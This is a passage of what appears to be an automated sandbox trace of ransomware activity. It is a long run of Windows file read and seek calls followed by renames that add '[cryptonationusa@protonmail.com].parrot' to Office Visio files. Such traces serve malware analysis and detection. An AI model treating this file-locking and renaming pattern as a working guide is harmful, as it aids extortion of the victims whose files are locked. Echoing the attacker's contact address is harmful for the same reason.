lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.668] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d600, lpOverlapped=0x0) returned 1 [0215.676] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DIMENG_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dimeng_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DIMENG_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dimeng_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.687] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.689] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ac00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ac00, lpOverlapped=0x0) returned 1 [0215.703] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRAWTL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drawtl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRAWTL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drawtl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.716] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.732] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.732] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a600, lpOverlapped=0x0) returned 1 [0215.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRAWTL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drawtl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRAWTL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drawtl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.757] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.757] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.759] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a00, lpOverlapped=0x0) returned 1 [0215.761] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.766] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.768] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.768] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b000, lpOverlapped=0x0) returned 1 [0215.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.782] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.782] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.783] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.783] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a00, lpOverlapped=0x0) returned 1 [0215.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.807] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.808] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.808] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b000, lpOverlapped=0x0) returned 1 [0215.811] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DRILLD_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\drilld_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.956] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.956] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.966] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.966] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x64600, lpOverlapped=0x0) returned 1 [0215.979] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.018] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.018] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.019] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.019] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e400, lpOverlapped=0x0) returned 1 [0216.029] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.044] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.044] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.046] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.046] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x63600, lpOverlapped=0x0) returned 1 [0216.058] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.079] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.081] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.081] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e400, lpOverlapped=0x0) returned 1 [0216.090] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DTLNET_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dtlnet_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.104] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.104] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.152] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.152] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c800, lpOverlapped=0x0) returned 1 [0216.164] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DVCALL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dvcall_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DVCALL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dvcall_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.183] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.184] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.186] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.186] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4b600, lpOverlapped=0x0) returned 1 [0216.202] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DVCALL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dvcall_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DVCALL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dvcall_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.220] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.220] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.222] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf699f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf699f, lpOverlapped=0x0) returned 1 [0216.256] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DWGCNV_M.VTX" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dwgcnv_m.vtx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DWGCNV_M.VTX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dwgcnv_m.vtx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.350] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.350] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.353] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.353] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xef20c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xef20c, lpOverlapped=0x0) returned 1 [0216.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DWGCNV_U.VTX" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dwgcnv_u.vtx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DWGCNV_U.VTX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dwgcnv_u.vtx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.485] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.486] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.487] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.487] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5d400, lpOverlapped=0x0) returned 1 [0216.507] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.531] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.531] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.532] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8200, lpOverlapped=0x0) returned 1 [0216.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.548] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.564] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.564] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5b000, lpOverlapped=0x0) returned 1 [0216.577] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_u.vss.[cryptonationusa@protonmail.com].parrot"), 